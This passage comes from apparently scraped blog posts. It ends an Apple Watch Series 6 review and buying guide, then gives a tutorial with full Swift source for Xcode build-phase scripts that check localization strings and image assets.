sound/vibration for certain apps.You might say these settings are similar to the phone, but in terms of experience, the watch’s sound/vibration is gentler and less intrusive. Even if you turn off sound/vibration, you can quickly check for notifications by raising your wrist.The enhancement in daily experience and increased focus comes from quickly reviewing notifications on the watch and deciding whether to continue the current task or take out the phone to handle the message. The interruption time is very short (just the time to look at the watch), avoiding distractions from constantly taking out the phone and increasing work efficiency.Healthy living and exercise trackingUsing the exclusive “Fitness” app available only with Apple Watch, you can record your daily life, including daily activity levels, walking, heart rate, and exercise records. It provides detailed health information and statistics on activity levels. Socially, you can compete with friends on activity levels and unlock badges, increasing motivation for exercise.However, exercise depends on the person. Those who exercise will continue to do so, and those who don’t won’t start just because of the watch. It mainly adds fun and records to the exercise routine.Apple PayYou don’t need to take out your phone; just double-click the watch to make a payment, which is very convenient. Especially when your hands are full, and you can’t reach into your pocket to get your phone. You can also install invoice apps that support Apple Watch, open the barcode for the cashier to scan, and then double-click to call out Apple Pay for payment.My personal habit is to use the phone widget to let the cashier scan the barcode or membership code (like 7-Eleven/FamilyMart, as they don’t provide Apple Watch apps), and then quickly double-click the watch to call out Apple Pay, using the same hand for payment. Store inside, no receipt needed.Personal Style CustomizationYou can change the watch face and strap according to your mood; a few watch faces for work, a few for holidays; bought four straps in the past two years… leather, metal, woven, and even protective case color changes… to match your outfits.Apple Ecosystem Integration The watch can directly unlock the Mac computer. The watch can find the phone with one click (forcing the phone to emit a beep). The watch can be used as a Bluetooth selfie button to control the phone camera for taking pictures.Check the WeatherI am very used to checking the current weather conditions and the probability of rain on the watch; it’s clear at a glance. Using the phone, I have to click through several layers to see the information I want.Alarms and TimersThe countdown timer and alarm are also features I love to use. You can quickly start the countdown timer on the watch, and when the timer or alarm goes off while wearing the watch, it will notify you through the watch (if the watch is on silent mode, it will vibrate to remind you).I find it very comfortable, especially when I want to take a short nap and am afraid that the alarm sound or phone vibration will disturb other colleagues.MapsIt’s quite useful when riding a scooter; you can directly view the route map, and get route/turn vibration prompts. However, the downside is that the map is not optimized for scooters, so you need to pay attention to roads where scooters are prohibited. The route planning ability is average.View route map on the watchGoogle Maps recently returned to Apple Watch, but you can’t directly view the route map, only text navigation prompts.Fall DetectionSince everyone is paying a lot of attention to this feature recently, I specifically listed it to share my personal experience. Once, when I was getting on a bus, I quickly and forcefully pushed against the seat with my left hand, successfully triggering the fall detection. The watch will first vibrate continuously and emit a sound to call you, checking if you are conscious. If you don’t respond within 30 seconds, it will call emergency services and notify the set emergency contacts.Apple Watch Fall Detection Test, calls 119 for rescue in 1 minute. - Before watchOS 5, fall detection was only enabled by default for those over 65 years old; it was disabled by default for those under 65. You can check the settings for this. - Multiple emergency contacts can be specified, and need to be set in advance.Recommended AppsFor those who have read the previous unboxing article, that article included unboxing, usage instructions, and some app recommendations. Honestly, I later deleted most of them, keeping only the built-in apps and some commonly used communication software. Initially, you might install a bunch of apps out of novelty, but later you won’t use them much.To be honest, when you need complex operations, you’ll use your phone. The watch is really just for quick access.Apple Watch Development Over the Past Two YearsAs mentioned earlier, the functionality and product positioning of Series 4 and Series 6 have not changed; they are extensions of the iPhone, not replacements. There have been no breakthrough features in the past two years, and the battery life still requires daily charging.In terms of third-party apps, not many have been added in the past two years, but there is a growing trend. Line and Google Maps have recently updated to enhance their Apple Watch apps, so they haven’t been forgotten.I previously wrote an article sharing my experience of developing an Apple Watch app based on watchOS 5. You can see that the official features available for development are limited (still about the same now), so third-party developers have limited room to innovate, resulting in fewer apps.watchOSCurrently updated to watchOS 7, with an annual update cycle like iOS.watchOS 6: Added environmental noise detection, menstrual cycle tracking (suitable for female users), and walkie-talkie feature.watchOS 7: Added sleep tracking, handwashing timer assistance, and family sharing features.watchOS 7 Family Sharing (LTE version only)I have personally experienced this feature by giving my original Series 4 watch to a family member. You can refer to this unboxing video. This feature binds the watch to your phone, and the watch needs to be nearby to change settings. After completing the setup process, some settings cannot be adjusted without resetting, and the shared family member can only use it, not customize it.The benefit is that the wearer doesn’t necessarily have to be an iPhone user! According to official information, this feature is only available for LTE versions of Series 4 and later models!Buying GuideShould You Buy It?I think 80% of the friends who see this are already inclined to buy it; I believe if you are a tech enthusiast, it’s worth buying to play with. If a watch is an accessory for you, you can get a more beautiful one for the same price. If you are buying it solely for sports, there are better sports watches to consider. The Apple Watch is designed for comprehensive needs and enhanced experiences. The case of Little Ghost actually can’t be avoided even with an Apple Watch.Little Ghost fell when coming out of the bathroom after a shower. The Apple Watch is water-resistant but not steam-resistant. If you often wear the watch while showering, it can easily get damaged. Additionally, since it needs to be charged daily, most people take it off to charge while showering and won’t wear it. It is still just an extension of the phone, an experimental product from Apple. Needs to be charged daily, so you have to carry the charger when going out. When I switched from Series 4 to Series 6, I didn’t wear it for two or three weeks in between, and personally, I didn’t feel much difference.Series 6 or SE or Second-hand Series 4/5?The performance is sufficient to last another 3-5 years. If you have the budget, of course, buy new rather than old. For value for money, you can buy the SE. If the budget is limited, you can buy a second-hand Series 4/5/LTE version, which is easier to get. Apple Watch can only pair with iPhone (Android phones and iPads are not compatible). Also, consider the current iOS version of your phone. watchOS 7 is only compatible with iOS ≥ 14 (watchOS 6 => iOS ≥ 13/watchOS 5 => iOS ≥ 12) The iPhone must be upgraded to the corresponding minimum iOS version to pair and use.Series 6 / SE does not come with a charging adapter.The Family Setup feature of watchOS 7 (which allows you to check the status of children and the health of the elderly) is only available for Series 4 and above or SE versions.Aluminum or Stainless Steel or Titanium?Stainless Steel Version (Thanks to a colleague for the support)It depends on how you position this watch. If it’s for novelty and fun, aluminum is fine. If you want to enhance the accessory attribute, buy the stainless steel or above versions, which are more beautiful and easier to match.The aluminum version has more demand in the second-hand market, making it easier to sell when a new generation comes out (I could still sell my Series 4 for 7-8 thousand).The aluminum version’s body and glass are more fragile, and the screen glass is not scratch-resistant. It is recommended to buy a protective case and a full-coverage screen protector.Protective case (about $400) + screen protector, it is recommended to find a hydrogel or jelly protector (about $800), otherwise, it is easy to encounter fitting problems; the total cost is about +$1500, and the aluminum version can also have complete protection. Additionally, a lesson learned from experience: if you have a screen protector, you must buy a protective case, otherwise, the edges are easily damaged (I had to replace three protectors because of this, costing nearly $3000). The screen protector must be a good one that fits well, or it will be very difficult to use, which is a waste of money.HAO Jelly Full-Coverage Glass Screen Protector from Xiao Hao WrapFully transparent & fully adhesive, does not affect smooth sliding and display.RhinoShield + Screen Protector The screen will become slightly thicker, so the inner frame may float a bit (depending on the tolerance of the protective case), but the clips still fit in. Xiao Hao Wrap suggests not to use the inner frame of RhinoShield as it may easily press against the screen protector, just use the outer frame. However, my Series 4 has been in this state for two years without any issues, so you can decide for yourself.40mm or 44mm?It depends on the thickness of your wrist. Generally, men are recommended to wear 44mm, as 40mm might look a bit odd. If you are buying aluminum + protective case, consider whether the size with the protective case will be too large.GPS or LTE Cellular Version?Considering that I didn’t use LTE much before, I opted for the GPS version this time, saving $3000.The consideration between GPS or LTE is not only whether you will have scenarios where you only wear the watch out, but also the fall detection alarm function that everyone cares about recently. The GPS version only works if the phone is nearby or the watch can connect to the current network environment WiFi, allowing the watch to connect to the phone for emergency alarms (if these conditions are not met, it cannot notify for an alarm); the LTE version can operate independently, making it relatively safer. Communication between the phone and the watch is the same; the GPS version or non-activated LTE version communicates through the phone being nearby, or the watch being able to connect to the current network environment WiFi. The watch being able to connect to the current network environment WiFi means that the phone and watch have previously connected to this WiFi, and the system has a record to connect directly.watchOS 7’s Family Setup feature (can check children’s whereabouts, elderly health status) is only available on the LTE version because the watch’s data is sent back to the setup person (parent) rather than the wearer’s phone.Watch BandsWatch bands are only categorized as: Large: 42 (Apple Watch 3 and below) / 44 (Apple Watch 4 and above) Small: 38 (Apple Watch 3 and below) / 40 (Apple Watch 4 and above)And Apple guarantees that the band sizes will not change (otherwise, who would buy the Hermès version XD). At least for now, bands from generations 1 to 6 are interchangeable. Unboxing of the Apple Watch Original Stainless Steel Milanese Loop:Unboxing of the Apple Watch Original Stainless Steel Milanese LoopStandard / Nike / Hermès EditionsThe Nike edition only has an exclusive Nike watch face, while the Hermès edition not only has an exclusive Hermès watch face but also comes with a Hermès band paired with the stainless steel version.Upgrade GuideIf you currently have a Series 3/Series 2/Series 1, it is recommended to upgrade, at least to Series 4; starting from Series 4, the screen becomes full-screen (many new watch faces require Series 4 or above), the processor performance is much better and almost never lags, making the upgrade noticeable.Series 4 can be upgraded or not, as the main differences are the always-on display and the blood oxygen sensor. The Apple Watch’s raise-to-wake display is fast and responsive enough, and while the always-on display is better, it’s not a must-have; the blood oxygen sensor is not medically certified and is for reference only.If you already have a Series 5, you can wait for the next generation, as there is no need to upgrade.For a detailed comparison, refer to the official website’s Compare All Models, which also highlights some minor functional differences, such as the altimeter, compass, etc.Apple Official WebsiteFurther Reading Unboxing of the Apple Watch Original Stainless Steel Milanese Loop See more basic Apple Watch usage tutorials and app recommendations Unboxing and hands-on experience of AirPods 2 First experience with smart home — Apple HomeKit & Xiaomi Mijia Make an Apple Watch App yourself! (Swift)If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Write Run Script Directly in Swift with Xcode!", "url": "/posts/41c49a75a743/", "categories": "ZRealm, Dev.", "tags": "ios, shell-script, xcode, ios-app-development, toolkit", "date": "2020-09-17 23:53:20 +0800", "snippet": "Write Shell Script Directly in Swift with Xcode!Introducing Localization multi-language and Image Assets missing check, using Swift to create Shell ScriptPhoto by Glenn Carstens-PetersBackgroundBec...", "content": "Write Shell Script Directly in Swift with Xcode!Introducing Localization multi-language and Image Assets missing check, using Swift to create Shell ScriptPhoto by Glenn Carstens-PetersBackgroundBecause of my clumsiness, I often miss the “;” when editing multi-language files, causing the app to display the wrong language after building. Additionally, as development progresses, the language files become increasingly large, with repeated and unused phrases mixed together, making it very chaotic (the same situation applies to Image Assets).I have always wanted to find a tool to help handle these issues. Previously, I used iOSLocalizationEditor, a Mac APP, but it is more like a language file editor that reads and edits language file content without automatic checking functionality.Desired FeaturesAutomatically check for errors, omissions, duplicates in multi-language files, and missing Image Assets when building the project.SolutionTo achieve our desired features, we need to add a Run Script check script in Build Phases.However, the check script needs to be written using shell script. Since my proficiency in shell script is not very high, I thought of standing on the shoulders of giants and searching for existing scripts online but couldn’t find any that fully met the desired features. Just when I was about to give up, I suddenly thought: Shell Script can be written in Swift!Compared to shell script, I am more familiar and proficient with Swift! Following this direction, I indeed found two existing tool scripts!Two checking tools written by the freshOS team: Localize 🏁 Asset Checker 👮They fully meet our desired feature requirements! And since they are written in Swift, customizing and modifying them is very easy.Localize 🏁 Multi-language File Checking ToolFeatures: Automatic check during build Automatic formatting and organizing of language files Check for omissions and redundancies between multi-language and primary language files Check for duplicate phrases in multi-language files Check for untranslated phrases in multi-language files Check for unused phrases in multi-language filesInstallation Method: Download the Swift Script file of the tool Place it in the project directory, e.g., ${SRCROOT}/Localize.swift Open project settings → iOS Target → Build Phases → click the “+” in the top left corner → New Run Script Phases → paste the path in the Script content, e.g., ${SRCROOT}/Localize.swift Use Xcode to open and edit the Localize.swift file for configuration. You can see the configurable items in the upper part of the file:```swift// Enable the check scriptlet enabled = true// Localization file directorylet relativeLocalizableFolders = “/Resources/Languages”// Project directory (used to search if the phrases are used in the code)let relativeSourceFolder = “/Sources”// Regular expression patterns for NSLocalized phrases in the code// You can add your own without changing the existing oneslet patterns = [ “NSLocalized(Format)?String\\(\\s@?\"([\\w\\.]+)\"”, // Swift and Objc Native “Localizations\\.((?:[A-Z]{1}[a-z][A-z])(?:\\.[A-Z]{1}[a-z][A-z]))”, // Laurine Calls “L10n.tr\\(key: \"(\\w+)\"”, // SwiftGen generation “ypLocalized\\(\"(.)\"\\)”, “\"(.*)\".localized” // “key”.localized pattern]// Phrases to ignore for “unused phrase warning”let ignoredFromUnusedKeys: [String] = []/* examplelet ignoredFromUnusedKeys = [ “NotificationNoOne”, “NotificationCommentPhoto”, “NotificationCommentHisPhoto”, “NotificationCommentHerPhoto”]*/// Main languagelet masterLanguage = “en”// Enable a-z sorting and organizing functionality for localization fileslet sanitizeFiles = false// Is the project single or multi-languagelet singleLanguage = false// Enable check for untranslated phraseslet checkForUntranslated = true5. Build! Success!![](/assets/41c49a75a743/1*74osParg9RRi2gcRx9ELuw.png)**Check result prompt types:**- **Build Error** ❌ **:** - \\[Duplication\\] The item is duplicated in the localization file - \\[Unused Key\\] The item is defined in the localization file but not used in the actual code - \\[Missing\\] The item is used in the actual code but not defined in the localization file - \\[Redundant\\] The item is redundant in this localization file compared to the main localization file - \\[Missing Translation\\] The item exists in the main localization file but is missing in this localization file- **Build Warning** ⚠️ **:** - \\[Potentially Untranslated\\] This item is untranslated (same content as the main localization file)> **_Not done yet, now we have automatic check prompts, but we still need to customize a bit._****Custom regular expression matching:**Looking back at the patterns section in the top configuration block of the check script `Localize.swift`:`\"NSLocalized(Format)?String\\\\(\\\\s*@?\\\"([\\\\w\\\\.]+)\\\"\"`This matches the `NSLocalizedString()` method in Swift/ObjC, but this regular expression can only match phrases like `\"Home.Title\"`. If we have full sentences or phrases with format parameters, they will be mistakenly marked as \\[Unused Key\\].EX: `\"Hi, %@ welcome to my app\", \"Hello World!\"` **<- These phrases cannot be matched**We can add a new pattern setting or change the original pattern to:`\"NSLocalized(Format)?String\\\\(\\\\s*@?\\\"([^(\\\")]+)\\\"\"`The main adjustment is to match any string until the `\"` appears, stopping there. You can also [click here](https://rubular.com/r/5eXvGy3svsAHyT){:target=\"_blank\"} to customize according to your needs.**Add Language File Format Check Functionality:**This script only checks the content of language files for correspondence and does not check if the file format is correct (whether a \";\" is missing). If you need this functionality, you need to add it yourself!```swift//....let formatResult = shell(\"plutil -lint \\(location)\")guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == \"OK\" else { let str = \"\\(path)/\\(name).lproj\" + \"/Localizable.strings:1: \" + \"error: [File Invalid] \" + \"This Localizable.strings file format is invalid.\" print(str) numberOfErrors += 1 return}//....func shell(_ command: String) -> String { let task = Process() let pipe = Pipe() task.standardOutput = pipe task.arguments = [\"-c\", command] task.launchPath = \"/bin/bash\" task.launch() let data = pipe.fileHandleForReading.readDataToEndOfFile() let output = String(data: data, encoding: .utf8)! return output}Add shell() to execute shell scripts, using plutil -lint to check the correctness of the plist language file format. If there are errors or missing “;”, it will return an error; if there are no errors, it will return OK as the judgment!The check can be added after LocalizationFiles->process( )-> let location = singleLanguage…, around line 135, or refer to the complete modified version I provided at the end.Other Customizations:We can customize according to our needs, such as changing error to warning or removing a certain check function (EX: Potentially Untranslated, Unused Key); the script is in Swift, which we are all familiar with! No fear of breaking or making mistakes!To show Error ❌ during build:print(\"ProjectFile.lproj\" + \"/File:Line: \" + \"error: ErrorMessage\")To show Warning ⚠️ during build:print(\"ProjectFile.lproj\" + \"/File:Line: \" + \"warning: WarningMessage\")Final Modified Version:#!/usr/bin/env xcrun --sdk macosx swiftimport Foundation// WHAT// 1. Find Missing keys in other Localisation files// 2. Find potentially untranslated keys// 3. Find Duplicate keys// 4. Find Unused keys and generate script to delete them all at once// MARK: Start Of Configurable Section/* You can enable or disable the script whenever you want */let enabled = true/* Put your path here, example -> Resources/Localizations/Languages */let relativeLocalizableFolders = \"/streetvoice/SupportingFiles\"/* This is the path of your source folder which will be used in searching for the localization keys you actually use in your project */let relativeSourceFolder = \"/streetvoice\"/* Those are the regex patterns to recognize localizations. */let patterns = [ \"NSLocalized(Format)?String\\\\(\\\\s*@?\\\"([^(\\\")]+)\\\"\", // Swift and Objc Native \"Localizations\\\\.((?:[A-Z]{1}[a-z]*[A-z]*)*(?:\\\\.[A-Z]{1}[a-z]*[A-z]*)*)\", // Laurine Calls \"L10n.tr\\\\(key: \\\"(\\\\w+)\\\"\", // SwiftGen generation \"ypLocalized\\\\(\\\"(.*)\\\"\\\\)\", \"\\\"(.*)\\\".localized\" // \"key\".localized pattern]/* Those are the keys you don't want to be recognized as \"unused\" For instance, Keys that you concatenate will not be detected by the parsing so you want to add them here in order not to create false positives :) */let ignoredFromUnusedKeys: [String] = []/* examplelet ignoredFromUnusedKeys = [ \"NotificationNoOne\", \"NotificationCommentPhoto\", \"NotificationCommentHisPhoto\", \"NotificationCommentHerPhoto\"]*/let masterLanguage = \"base\"/* Sanitizing files will remove comments, empty lines and order your keys alphabetically. */let sanitizeFiles = false/* Determines if there are multiple localizations or not. */let singleLanguage = false/* Determines if we should show errors if there's a key within the app that does not appear in master translations.*/let checkForUntranslated = false// MARK: End Of Configurable Sectionif enabled == false { print(\"Localization check cancelled\") exit(000)}// Detect list of supported languages automaticallyfunc listSupportedLanguages() -> [String] { var sl: [String] = [] let path = FileManager.default.currentDirectoryPath + relativeLocalizableFolders if !FileManager.default.fileExists(atPath: path) { print(\"Invalid configuration: \\(path) does not exist.\") exit(1) } let enumerator = FileManager.default.enumerator(atPath: path) let extensionName = \"lproj\" print(\"Found these languages:\") while let element = enumerator?.nextObject() as? String { if element.hasSuffix(extensionName) { print(element) let name = element.replacingOccurrences(of: \".\\(extensionName)\", with: \"\") sl.append(name) } } return sl}let supportedLanguages = listSupportedLanguages()var ignoredFromSameTranslation: [String: [String]] = [:]let path = FileManager.default.currentDirectoryPath + relativeLocalizableFoldersvar numberOfWarnings = 0var numberOfErrors = 0struct LocalizationFiles { var name = \"\" var keyValue: [String: String] = [:] var linesNumbers: [String: Int] = [:] init(name: String) { self.name = name process() } mutating func process() { if sanitizeFiles { removeCommentsFromFile() removeEmptyLinesFromFile() sortLinesAlphabetically() } let location = singleLanguage ? \"\\(path)/Localizable.strings\" : \"\\(path)/\\(name).lproj/Localizable.strings\" let formatResult = shell(\"plutil -lint \\(location)\") guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == \"OK\" else { let str = \"\\(path)/\\(name).lproj\" + \"/Localizable.strings:1: \" + \"error: [File Invalid] \" + \"This Localizable.strings file format is invalid.\" print(str) numberOfErrors += 1 return } guard let string = try? String(contentsOfFile: location, encoding: .utf8) else { return } let lines = string.components(separatedBy: .newlines) keyValue = [:] let pattern = \"\\\"(.*)\\\" = \\\"(.+)\\\";\" let regex = try? NSRegularExpression(pattern: pattern, options: []) var ignoredTranslation: [String] = [] for (lineNumber, line) in lines.enumerated() { let range = NSRange(location: 0, length: (line as NSString).length) // Ignored pattern let ignoredPattern = \"\\\"(.*)\\\" = \\\"(.+)\\\"; *\\\\/\\\\/ *ignore-same-translation-warning\" let ignoredRegex = try? NSRegularExpression(pattern: ignoredPattern, options: []) if let ignoredMatch = ignoredRegex?.firstMatch(in: line, options: [], range: range) { let key = (line as NSString).substring(with: ignoredMatch.range(at: 1)) ignoredTranslation.append(key) } if let firstMatch = regex?.firstMatch(in: line, options: [], range: range) { let key = (line as NSString).substring(with: firstMatch.range(at: 1)) let value = (line as NSString).substring(with: firstMatch.range(at: 2)) if keyValue[key] != nil { let str = \"\\(path)/\\(name).lproj\" + \"/Localizable.strings:\\(linesNumbers[key]!): \" + \"error: [Duplication] \\\"\\(key)\\\" \" + \"is duplicated in \\(name.uppercased()) file\" print(str) numberOfErrors += 1 } else { keyValue[key] = value linesNumbers[key] = lineNumber + 1 } } } print(ignoredFromSameTranslation) ignoredFromSameTranslation[name] = ignoredTranslation } func rebuildFileString(from lines: [String]) -> String { return lines.reduce(\"\") { (r: String, s: String) -> String in (r == \"\") ? (r + s) : (r + \"\\n\" + s) } } func removeEmptyLinesFromFile() { let location = \"\\(path)/\\(name).lproj/Localizable.strings\" if let string = try? String(contentsOfFile: location, encoding: .utf8) { var lines = string.components(separatedBy: .newlines) lines = lines.filter { $0.trimmingCharacters(in: .whitespaces) != \"\" } let s = rebuildFileString(from: lines) try? s.write(toFile: location, atomically: false, encoding: .utf8) } } func removeCommentsFromFile() { let location = \"\\(path)/\\(name).lproj/Localizable.strings\" if let string = try? String(contentsOfFile: location, encoding: .utf8) { var lines = string.components(separatedBy: .newlines) lines = lines.filter { !$0.hasPrefix(\"//\") } let s = rebuildFileString(from: lines) try? s.write(toFile: location, atomically: false, encoding: .utf8) } } func sortLinesAlphabetically() { let location = \"\\(path)/\\(name).lproj/Localizable.strings\" if let string = try? String(contentsOfFile: location, encoding: .utf8) { let lines = string.components(separatedBy: .newlines) var s = \"\" for (i, l) in sortAlphabetically(lines).enumerated() { s += l if i != lines.count - 1 { s += \"\\n\" } } try? s.write(toFile: location, atomically: false, encoding: .utf8) } } func removeEmptyLinesFromLines(_ lines: [String]) -> [String] { return lines.filter { $0.trimmingCharacters(in: .whitespaces) != \"\" } } func sortAlphabetically(_ lines: [String]) -> [String] { return lines.sorted() }}// MARK: - Load Localisation Files in memorylet masterLocalizationFile = LocalizationFiles(name: masterLanguage)let localizationFiles = supportedLanguages .filter { $0 != masterLanguage } .map { LocalizationFiles(name: $0) }// MARK: - Detect Unused Keyslet sourcesPath = FileManager.default.currentDirectoryPath + relativeSourceFolderlet fileManager = FileManager.defaultlet enumerator = fileManager.enumerator(atPath: sourcesPath)var localizedStrings: [String] = []while let swiftFileLocation = enumerator?.nextObject() as? String { // checks the extension if swiftFileLocation.hasSuffix(\".swift\") || swiftFileLocation.hasSuffix(\".m\") || swiftFileLocation.hasSuffix(\".mm\") { let location = \"\\(sourcesPath)/\\(swiftFileLocation)\" if let string = try? String(contentsOfFile: location, encoding: .utf8) { for p in patterns { let regex = try? NSRegularExpression(pattern: p, options: []) let range = NSRange(location: 0, length: (string as NSString).length) // Obj c wa regex?.enumerateMatches(in: string, options: [], range: range, using: { result, _, _ in if let r = result { let value = (string as NSString).substring(with: r.range(at: r.numberOfRanges - 1)) localizedStrings.append(value) } }) } } }}var masterKeys = Set(masterLocalizationFile.keyValue.keys)let usedKeys = Set(localizedStrings)let ignored = Set(ignoredFromUnusedKeys)let unused = masterKeys.subtracting(usedKeys).subtracting(ignored)let untranslated = usedKeys.subtracting(masterKeys)// Here generate Xcode regex Find and replace script to remove dead keys all at once!var replaceCommand = \"\\\"(\"var counter = 0for v in unused { var str = \"\\(path)/\\(masterLocalizationFile.name).lproj/Localizable.strings:\\(masterLocalizationFile.linesNumbers[v]!): \" str += \"error: [Unused Key] \\\"\\(v)\\\" is never used\" print(str) numberOfErrors += 1 if counter != 0 { replaceCommand += \"|\" } replaceCommand += v if counter == unused.count - 1 { replaceCommand += \")\\\" = \\\".*\\\";\" } counter += 1}print(replaceCommand)// MARK: - Compare each translation file against master (en)for file in localizationFiles { for k in masterLocalizationFile.keyValue.keys { if file.keyValue[k] == nil { var str = \"\\(path)/\\(file.name).lproj/Localizable.strings:\\(masterLocalizationFile.linesNumbers[k]!): \" str += \"error: [Missing] \\\"\\(k)\\\" missing from \\(file.name.uppercased()) file\" print(str) numberOfErrors += 1 } } let redundantKeys = file.keyValue.keys.filter { !masterLocalizationFile.keyValue.keys.contains($0) } for k in redundantKeys { let str = \"\\(path)/\\(file.name).lproj/Localizable.strings:\\(file.linesNumbers[k]!): \" + \"error: [Redundant key] \\\"\\(k)\\\" redundant in \\(file.name.uppercased()) file\" print(str) }}if checkForUntranslated { for key in untranslated { var str = \"\\(path)/\\(masterLocalizationFile.name).lproj/Localizable.strings:1: \" str += \"error: [Missing Translation] \\(key) is not translated\" print(str) numberOfErrors += 1 }}print(\"Number of warnings : \\(numberOfWarnings)\")print(\"Number of errors : \\(numberOfErrors)\")if numberOfErrors > 0 { exit(1)}func shell(_ command: String) -> String { let task = Process() let pipe = Pipe() task.standardOutput = pipe task.arguments = [\"-c\", command] task.launchPath = \"/bin/bash\" task.launch() let data = pipe.fileHandleForReading.readDataToEndOfFile() let output = String(data: data, encoding: .utf8)! return output} Finally, it’s not over yet!When our Swift check tool script is fully debugged, we need to compile it into an executable to reduce build time. Otherwise, it will need to be recompiled every time we build (this can reduce the time by about 90%).Open the terminal and navigate to the directory where the check tool script is located in the project, then execute:swiftc -o Localize Localize.swiftThen go back to Build Phases and change the Script content path to the executableEX: ${SRCROOT}/LocalizeDone!Tool 2. Asset Checker 👮 Image Resource Check ToolFeatures: Automatically checks during build Checks for missing images: names are called, but the image resource directory does not contain them Checks for redundant images: names are not used, but the image resource directory contains themInstallation Method: Download the tool’s Swift Script file Place it in the project directory EX: ${SRCROOT}/AssetChecker.swift Open project settings → iOS Target → Build Phases → top left “+” → New Run Script Phases → paste the path in the Script content${SRCROOT}/AssetChecker.swift ${SRCROOT}/project_directory ${SRCROOT}/Resources/Images.xcassets//${SRCROOT}/Resources/Images.xcassets = the location of your .xcassetsYou can directly set the parameters in the path, parameter 1: project directory location, parameter 2: image resource directory location; or edit the AssetChecker.swift top parameter setting block like the localization check tool:// Configure me \\o/// Project directory location (used to search if images are used in the code)var sourcePathOption:String? = nil// .xcassets directory locationvar assetCatalogPathOption:String? = nil// Unused warning ignore itemslet ignoredUnusedNames = [String]() Build! Success!Check Result Prompt Types: Build Error ❌ :- [Asset Missing] The item is called in the code but does not appear in the image resource directory Build Warning ⚠️ :- [Asset Unused] The item is not used in the code but appears in the image resource directoryp.s. If the image is provided by a dynamic variable, the check tool will not recognize it. You can add it to ignoredUnusedNames as an exception.Other operations are the same as the localization check tool, so they won’t be repeated here; the most important thing is to remember to compile it into an executable after debugging and change the run script content to the executable!Develop Your Own Tools! We can refer to the image resource check tool script:#!/usr/bin/env xcrun --sdk macosx swiftimport Foundation// Configure me \\o/var sourcePathOption:String? = nilvar assetCatalogPathOption:String? = nillet ignoredUnusedNames = [String]()for (index, arg) in CommandLine.arguments.enumerated() { switch index { case 1: sourcePathOption = arg case 2: assetCatalogPathOption = arg default: break }}guard let sourcePath = sourcePathOption else { print(\"AssetChecker:: error: Source path was missing!\") exit(0)}guard let assetCatalogAbsolutePath = assetCatalogPathOption else { print(\"AssetChecker:: error: Asset Catalog path was missing!\") exit(0)}print(\"Searching sources in \\(sourcePath) for assets in \\(assetCatalogAbsolutePath)\")/* Put here the asset generating false positives, For instance when you build asset names at runtimelet ignoredUnusedNames = [ \"IconArticle\", \"IconMedia\", \"voteEN\", \"voteES\", \"voteFR\"] */// MARK : - End Of Configurable Sectionfunc elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] { var elements = [String]() while let e = enumerator?.nextObject() as? String { elements.append(e) } return elements}// MARK: - List Assetsfunc listAssets() -> [String] { let extensionName = \"imageset\" let enumerator = FileManager.default.enumerator(atPath: assetCatalogAbsolutePath) return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(extensionName) } // Is Asset .map { $0.replacingOccurrences(of: \".\\(extensionName)\", with: \"\") } // Remove extension .map { $0.components(separatedBy: \"/\").last ?? $0 } // Remove folder path}// MARK: - List Used Assets in the codebasefunc localizedStrings(inStringFile: String) -> [String] { var localizedStrings = [String]() let namePattern = \"([\\\\w-]+)\" let patterns = [ \"#imageLiteral\\\\(resourceName: \\\"\\(namePattern)\\\"\\\\)\", // Image Literal \"UIImage\\\\(named:\\\\s*\\\"\\(namePattern)\\\"\\\\)\", // Default UIImage call (Swift) \"UIImage imageNamed:\\\\s*\\\\@\\\"\\(namePattern)\\\"\", // Default UIImage call \"\\\\<image name=\\\"\\(namePattern)\\\".*\", // Storyboard resources \"R.image.\\(namePattern)\\\\(\\\\)\" //R.swift support ] for p in patterns { let regex = try? NSRegularExpression(pattern: p, options: []) let range = NSRange(location:0, length:(inStringFile as NSString).length) regex?.enumerateMatches(in: inStringFile,options: [], range: range) { result, _, _ in if let r = result { let value = (inStringFile as NSString).substring(with:r.range(at: 1)) localizedStrings.append(value) } } } return localizedStrings}func listUsedAssetLiterals() -> [String] { let enumerator = FileManager.default.enumerator(atPath:sourcePath) print(sourcePath) #if swift(>=4.1) return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(\".m\") || $0.hasSuffix(\".swift\") || $0.hasSuffix(\".xib\") || $0.hasSuffix(\".storyboard\") } // Only Swift and Obj-C files .map { \"\\(sourcePath)/\\($0)\" } // Build file paths .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents .compactMap{$0} .compactMap{$0} // Remove nil entries .map(localizedStrings) // Find localizedStrings occurrences .flatMap{$0} // Flatten #else return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(\".m\") || $0.hasSuffix(\".swift\") || $0.hasSuffix(\".xib\") || $0.hasSuffix(\".storyboard\") } // Only Swift and Obj-C files .map { \"\\(sourcePath)/\\($0)\" } // Build file paths .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents .flatMap{$0} .flatMap{$0} // Remove nil entries .map(localizedStrings) // Find localizedStrings occurrences .flatMap{$0} // Flatten #endif}// MARK: - Beginning of scriptlet assets = Set(listAssets())let used = Set(listUsedAssetLiterals() + ignoredUnusedNames)// Generate Warnings for Unused Assetslet unused = assets.subtracting(used)unused.forEach { print(\"\\(assetCatalogAbsolutePath):: warning: [Asset Unused] \\($0)\") }// Generate Error for broken Assetslet broken = used.subtracting(assets)broken.forEach { print(\"\\(assetCatalogAbsolutePath):: error: [Asset Missing] \\($0)\") }if broken.count > 0 { exit(1)}Compared to the language check script, this script is concise and has all the important functions, making it very valuable for reference!P.S. You can see the code has the localizedStrings() naming, suspecting the author borrowed the logic from the language check tool and forgot to change the method name XDExample:for (index, arg) in CommandLine.arguments.enumerated() { switch index { case 1: // Parameter 1 case 2: // Parameter 2 default: break }}^ Method to receive external parametersfunc elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] { var elements = [String]() while let e = enumerator?.nextObject() as? String { elements.append(e) } return elements}func localizedStrings(inStringFile: String) -> [String] { var localizedStrings = [String]() let namePattern = \"([\\\\w-]+)\" let patterns = [ \"#imageLiteral\\\\(resourceName: \\\"\\(namePattern)\\\"\\\\)\", // Image Literal \"UIImage\\\\(named:\\\\s*\\\"\\(namePattern)\\\"\\\\)\", // Default UIImage call (Swift) 